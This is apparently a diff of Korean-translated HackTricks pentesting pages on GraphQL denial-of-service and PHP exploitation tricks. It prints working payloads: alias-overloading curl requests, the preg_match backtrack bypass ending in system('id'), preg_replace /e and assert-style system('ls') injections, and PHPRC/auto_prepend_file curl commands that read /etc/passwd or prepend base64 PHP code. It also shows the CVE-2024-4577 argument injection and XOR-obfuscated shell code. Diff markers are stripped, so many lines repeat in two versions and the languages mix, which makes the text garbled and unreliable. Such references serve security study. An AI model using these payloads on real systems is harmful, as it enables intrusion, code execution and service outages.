**별칭 오버로드**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 오버로드하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이는 서버 리소스를 압도하여 **서비스 거부(DoS)**를 초래할 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진시킬 수 있습니다:
**Alias Overloading**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 과부하하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이로 인해 서버 리소스가 과부하되어 **서비스 거부(DoS)**로 이어질 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진 수 있습니다:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
이를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오.
문제를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오.
### **배열 기반 쿼리 배치**
**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다.
**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -513,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
### **지시문 과부하 취약점**
**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 한계가 없으면, 공격자는 수많은 중복 지시문을 포함한 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다.
**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문으로 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -535,11 +535,11 @@ curl -X POST \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
```
그리고 **사용자 정의 항목 중 일부를 사용합니다.**
그리고 **사용자 정의** 항목 중 일부를 사용하십시오.
### **필드 중복 취약점**
**필드 중복**은 GraphQL 서버가 동일한 필드를 과도하게 반복하는 쿼리를 허용하는 취약점입니다. 이로 인해 서버는 각 인스턴스에 대해 필드를 중복으로 해결해야 하며, 이는 상당한 자원(CPU, 메모리 및 데이터베이스 호출)을 소모합니다. 공격자는 수백 또는 수천 개의 반복된 필드가 포함된 쿼리를 작성할 수 있으며, 이는 높은 부하를 초래하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다.
**필드 중복**은 GraphQL 서버가 동일한 필드를 과도하게 반복하는 쿼리를 허용하는 취약점입니다. 이로 인해 서버는 각 인스턴스에 대해 필드를 중복으로 해결해야 하며, 이는 상당한 리소스(CPU, 메모리 및 데이터베이스 호출)를 소모합니다. 공격자는 수백 또는 수천 개의 반복된 필드가 포함된 쿼리를 작성하여 높은 부하를 유발하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -554,7 +554,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 배치 GraphQL 쿼리 및 변형 수행에 중점을 둔 GraphQL 보안 감사 스크립트.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql 지문 인식
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 특정 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp 확장](https://github.com/doyensec/inql)으로 사용할 수 있습니다.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp extension](https://github.com/doyensec/inql)으로 사용할 수 있습니다.
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용하여 공격을 자동화할 수 있습니다.
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL의 독립형 및 CLI 모드의 후계자
@ -574,7 +574,7 @@ https://graphql-dashboard.herokuapp.com/
- AutoGraphQL을 설명하는 비디오: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## 참고자료
## 참고 문헌
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)

View File

@ -2,12 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## 쿠키의 일반적인 위치:
## Cookies common location:
이것은 phpMyAdmin 쿠키에도 유효합니다.
쿠키:
Cookies:
```
PHPSESSID
phpMyAdmin
@ -23,7 +22,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### 느슨한 비교/타입 조작 ( == )
`==`가 PHP에서 사용되면, 예상치 못한 경우에 비교가 예상대로 작동하지 않습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다.
`==`가 PHP에서 사용되면, 비교가 예상대로 작동하지 않는 예외적인 경우가 있습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다.
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -34,7 +33,7 @@ PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://ww
- `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 같습니다.
- `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교할 수 있으며, 숫자가 동일할 경우 True로 결과가 나옵니다 (문자열의 숫자는 숫자로 해석됩니다).
- `"0e3264578" == 0 --> True` "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
- `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
- `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
- `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 문자열의 어떤 문자도 int 0과 같습니다.
@ -63,17 +62,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
### 엄격한 타입 조작
`===`**사용되고** 있더라도 **비교가 취약한** **타입 조작**으로 인해 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**:
`===`**사용되고** 있더라도 **비교가 취약해지는** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 유형의 객체로 변환하는 경우**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg_match(/^.\*/)
**`preg_match()`**는 **사용자 입력을 검증**하는 데 사용될 수 있습니다(이는 **블랙리스트**에 있는 **단어/정규 표현식**이 **사용자 입력**에 **존재하는지** 확인하고, 존재하지 않으면 코드 실행을 계속할 수 있습니다).
**`preg_match()`**는 **사용자 입력을 검증**하는 데 사용될 수 있습니다(이는 **블랙리스트**에 있는 **단어/정규 표현식**이 **사용자 입력**에 **존재하는지** 확인하고, 존재하지 않으면 코드는 계속 실행될 수 있습니다).
#### New line bypass
그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄**로 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예:
그러나 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 어떤 방법으로 **여러 줄**로 입력을 **전송**할 수 있다면 이 검사를 우회할 수 있습니다. 예:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -94,7 +93,7 @@ echo preg_match("/^.*1.*$/",$myinput);
```
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **길이 오류 우회**
#### **Length error bypass**
(이 우회는 PHP 5.2.5에서 시도된 것으로 보이며, PHP 7.3.15에서는 작동하지 않았습니다)\
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 되어 **검사를 우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 올리고 있다면 다음과 같이 보낼 수 있습니다:
@ -112,10 +111,10 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
[이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확했습니다:\
**정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 전송하여 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
**정규 표현식이 100,000회 이상의 재귀를 수행하게 만드는 입력을 전송하여 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만들고, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1_000_000 (1M)입니다.\
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방):
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1,000,000(1M)입니다.\
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다(500k 전진 및 500k 후진):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -132,7 +131,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
PHP가 다른 페이지로 리디렉션하고 있지만 **`die`** 또는 **`exit`** 함수가 **헤더 `Location`**이 설정된 후 호출되지 않으면, PHP는 계속 실행되며 데이터를 본문에 추가합니다:
PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 **호출되지 않으면**, PHP는 계속 실행되며 데이터를 본문에 추가합니다:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -152,16 +151,16 @@ readfile($page);
## 더 많은 트릭
- **register_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우, 예를 들어 $\_GET\["param"]="1234", 이를 **$param**을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 **덮어쓸 수 있습니다.**
- **동일 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장됩니다.** 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우**, 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하도록 만들 수 있습니다.**\
이렇게 하면 **두 경로가 동일한 이름의 변수를 접근할 경우**, **path1의 해당 변수 값을 path2에 적용할 수 있습니다.** 그러면 path2는 path1의 변수를 유효한 것으로 간주하게 됩니다(쿠키에 path2에 해당하는 이름을 부여함으로써).
- **register_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있을 경우 예를 들어 $\_GET\["param"]="1234"와 같이, **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다\*\*.
- **동일 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장됩니다**, 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다**.\
이렇게 하면 **두 경로가 동일한 이름의 변수를 접근할 경우** **path1의 해당 변수 값을 path2에 적용할 수 있습니다**. 그러면 path2는 path1의 변수를 유효한 것으로 간주하게 됩니다(쿠키에 path2에 해당하는 이름을 부여함으로써).
- 머신 사용자의 **사용자 이름**이 있을 때, 주소 **/\~\<USERNAME>**를 확인하여 php 디렉토리가 활성화되어 있는지 확인합니다.
- [**LFI 및 RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
- [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다.**\
지원되는 알고리즘은: `PASSWORD_DEFAULT``PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일합니다.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72bytes**입니다. 따라서 이 알고리즘으로 72bytes보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다**.\
지원되는 알고리즘은: `PASSWORD_DEFAULT``PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일하다는 점에 유의하십시오.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72바이트**입니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해시하려고 할 경우, 처음 72B만 사용됩니다:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -183,7 +182,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### 헤더 설정 전에 본문 채우기
만약 **PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **충분히 긴 콘텐츠**를 출력하게 만들어 응답에 **헤더를 추가하려고 할 때** 서버가 오류를 발생시키게 할 수 있습니다.\
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **충분히 긴 콘텐츠**를 출력하게 만들어 응답에 **헤더를 추가하려고 할 때** 서버가 오류를 발생시키게 할 수 있습니다.\
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키게 했으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):
![](<../../../images/image (1085).png>)
@ -202,7 +201,7 @@ php-ssrf.md
&#xNAN;**\`ls\`;**\
**shell_exec("ls");**
[더 유용한 PHP 함수는 여기에서 확인하세요](php-useful-functions-disable_functions-open_basedir-bypass/)
[더 유용한 PHP 함수는 여기에서 확인하세요](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
### **preg_replace()를 통한** **RCE**
```php
@ -227,7 +226,7 @@ preg_replace("/a/e","phpinfo()","whatever")
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
코드 **구문**을 **깨고**, **페이로드**를 **추가**한 다음 **다시 수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않는데, 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 같은 이유로 ";"도 작동하지 않으며 우리의 페이로드가 실행되지 않습니다.
코드 **구문**을 **깨고**, **페이로드**를 **추가한 다음** 다시 **수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않는데, 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 마찬가지로 ";"도 작동하지 않으며, 우리의 페이로드가 실행되지 않습니다.
**다른 옵션**은 문자열에 명령 실행을 추가하는 것입니다: `'.highlight_file('.passwd').'`
@ -256,40 +255,40 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
코드의 나머지를 주석 처리하려면 **//**를 사용할 수 있습니다.
You can also use **//** to comment the rest of the code.
닫아야 할 괄호의 수를 알아내려면:
To discover the number of parenthesis that you need to close:
- `?order=id;}//`: 오류 메시지(`Parse error: syntax error, unexpected ';'`)가 발생합니다. 하나 이상의 괄호가 누락된 것 같습니다.
- `?order=id);}//`: **경고**가 발생합니다. 적절한 것 같습니다.
- `?order=id));}//`: 오류 메시지(`Parse error: syntax error, unexpected ')' i`)가 발생합니다. 닫는 괄호가 너무 많을 수 있습니다.
- `?order=id;}//`: 우리는 오류 메시지(`Parse error: syntax error, unexpected ';'`)를 받습니다. 아마도 하나 이상의 괄호가 누락된 것 같습니다.
- `?order=id);}//`: 우리는 **경고**를 받습니다. 그게 맞는 것 같습니다.
- `?order=id));}//`: 우리는 오류 메시지(`Parse error: syntax error, unexpected ')' i`)를 받습니다. 아마도 닫는 괄호가 너무 많습니다.
### **.httaccess를 통한 RCE**
### **RCE via .httaccess**
**.htaccess**를 **업로드**할 수 있다면, 여러 가지를 **구성**하고 코드를 실행할 수 있습니다(확장자가 .htaccess인 파일이 **실행될 수 있도록 구성).
If you can **upload** a **.htaccess**, then you can **configure** several things and even execute code (configuring that files with extension .htaccess can be **executed**).
다양한 .htaccess 쉘은 [여기](https://github.com/wireghoul/htshells)에서 찾을 수 있습니다.
Different .htaccess shells can be found [here](https://github.com/wireghoul/htshells)
### 환경 변수로 인한 RCE
### RCE via Env Variables
PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파일을 업로드할 수 있는 또 다른 취약점이 있다면, 더 많은 연구를 통해 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(이 경우 작동하지 않을 수 있습니다).
- **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 PHP 런타임에 의해 다른 코드보다 먼저 실행됩니다.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(하지만 이 경우에는 작동하지 않을 수 있습니다).
- **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하세요. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 다른 코드보다 먼저 PHP 런타임에 의해 실행됩니다.
1. 쉘코드를 포함하는 PHP 파일을 업로드합니다.
2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 **`auto_prepend_file`** 지시어를 포함하는 두 번째 파일을 업로드합니다.
3. 2단계에서 업로드한 파일로 `PHPRC` 변수를 설정합니다.
- 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하십시오.
- 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하세요.
- **PHPRC** - 또 다른 옵션
- 파일을 **업로드할 수 없는 경우**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다:
- 만약 **파일을 업로드할 수 없다면**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 전처리합니다:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- 기술 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 가져온 것입니다.
- 기술 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서.
### XAMPP CGI RCE - CVE-2024-4577
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`로, 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 합니다:
The webserver parses HTTP requests and passes them to a PHP script executing a request such as as [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
@ -327,7 +326,7 @@ PHP 애플리케이션을 디버깅하는 경우 `/etc/php5/apache2/php.ini`에
### PHP 코드 디오브퓨스케이팅
PHP 코드를 디오브퓨스케이트하기 위해 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.**
PHP 코드를 디오브퓨스케이트하려면 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.**
## PHP 래퍼 및 프로토콜
@ -351,7 +350,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE abusing new $\_GET\["a"]\($\_GET\["b")
페이지에서 **임의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있을지도 모릅니다. 방법을 배우려면 다음 페이지를 확인하세요:
페이지에서 **임의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있을 것입니다. 방법을 배우려면 다음 페이지를 확인하세요:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -372,9 +371,9 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR 쉬운 코드
### XOR 쉬운 코드
[**이 글**](https://mgp25.com/ctf/Web-challenge/)에 따르면, 다음과 같은 방법으로 쉬운 코드를 생성할 수 있습니다:
[**이 글**](https://mgp25.com/ctf/Web-challenge/)에 따르면, 다음과 같은 방법으로 쉬운 코드를 생성할 수 있습니다:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

View File

@ -27,15 +27,15 @@
### Boundaries
> [!CAUTION]
